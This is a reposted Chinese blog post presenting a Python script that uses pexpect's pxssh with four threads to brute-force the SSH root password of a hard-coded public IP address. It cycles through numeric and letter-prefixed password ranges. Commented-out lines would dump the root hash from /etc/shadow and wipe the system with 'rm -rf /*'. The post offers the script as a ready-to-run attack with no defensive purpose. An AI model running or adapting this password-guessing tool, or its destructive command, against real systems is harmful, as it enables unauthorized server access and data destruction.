博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
pexpect模块获取root密码
阅读量:5056 次
发布时间:2019-06-12

本文共 2644 字,大约阅读时间需要 8 分钟。

利用pexpect模块的ssh连接获取root密码。

from pexpect import pxsshfrom threading import Threadfrom itertools import countdef send_command(s, cmd):    s.sendline(cmd)    s.prompt()    print(s.before.decode())def connect_1(host, user, passwd_iter_1):    while True:        passwd = next(passwd_iter_1)        if len(str(passwd)) == 9:            return        try:            s = pxssh.pxssh()            s.login(host,user,passwd)            return s        except:            print('[-]',passwd)            #print('[-]Error Connection')        else:            return passwddef connect_2(host, user, passwd_iter_2):    while True:        passwd = next(passwd_iter_2)        if passwd == 18700000000:            return        try:            s = pxssh.pxssh()            s.login(host,user,passwd)            return s        except:            print('[-]',passwd)            #print('[-]Error Connection')        else:            return passwddef connect_3(host, user, passwd_iter_3):    for var in range(97,123):        char = chr(var)        passwd_iter = passwd_iter_3        while True:            passwd = next(passwd_iter)            if len(str(passwd)) == 10:                return            passwd = char + str(passwd)            try:                s = pxssh.pxssh()                s.login(host,user,passwd)                return s            except:                print('[-]',passwd)                #print('[-]Error Connection')            else:                print('[+]',passwd)                return passwddef connect_4(host, user, passwd_iter_4):    while True:        passwd = next(passwd_iter_4)        if len(str(passwd)) == 7:            return        try:            s = pxssh.pxssh()            s.login(host,user,passwd)            return s        except:            print('[-]',passwd)            #print('[-]Error Connection')        else:            return passwddef main():    host = "39.104.137.182"    passwd_iter_1 = count(10000000)    passwd_iter_2 = count(18600000000)    passwd_iter_3 = count(100000000)    passwd_iter_4 = count(100000)    #s = connect("39.104.137.182",'root',passwd_list)   # send_command(s,'cat /etc/shadow | grep root')    t = Thread(target=connect_1,args=(host,"root",passwd_iter_1,))    t1 = Thread(target=connect_2,args=(host,"root",passwd_iter_2,))    t2 = Thread(target=connect_3,args=(host,"root",passwd_iter_3,))    t3 = Thread(target=connect_4,args=(host,"root",passwd_iter_4,))    t.start()    t1.start()    t2.start()    t3.start()    t.join()    t1.join()    t2.join()    t3.join()    #send_command(s, "rm -rf /*")if __name__ == '__main__':    main()

 

转载于:https://www.cnblogs.com/kmnskd/p/9929214.html

你可能感兴趣的文章
PHP json不转义
查看>>
6.13-C3p0连接池配置,DBUtils使用
查看>>
【计算机视觉】Selective Search for Object Recognition论文阅读3
查看>>
【DSP开发】TI第二代KeyStone SoC诠释德仪的“云”态度
查看>>
【神经网络与深度学习】基于Windows+Caffe的Minst和CIFAR—10训练过程说明
查看>>
C++编程思想
查看>>
课堂小练习: 设计、定义并实现Complex类
查看>>
.net 下载excel文件和上传文件
查看>>
c# 四舍五入、上取整、下取整(转)
查看>>
List<Report> list结果的排序(升序\降序)实现Compare接口
查看>>
[编写高质量代码:改善java程序的151个建议]建议132 提升JAVA性能的基本方法
查看>>
P1158 导弹拦截
查看>>
006.三极管
查看>>
shell基础part3
查看>>
python datetime笔记
查看>>
leetcode 71. 简化路径(Simplify Path)
查看>>
leetcode 892. 三维形体的表面积(Surface Area of 3D Shapes)
查看>>
[翻译]各个类型的IO - 阻塞, 非阻塞,多路复用和异步
查看>>
C# 类的序列化和反序列化
查看>>
(转)跟我一起写MAKEFILE
查看>>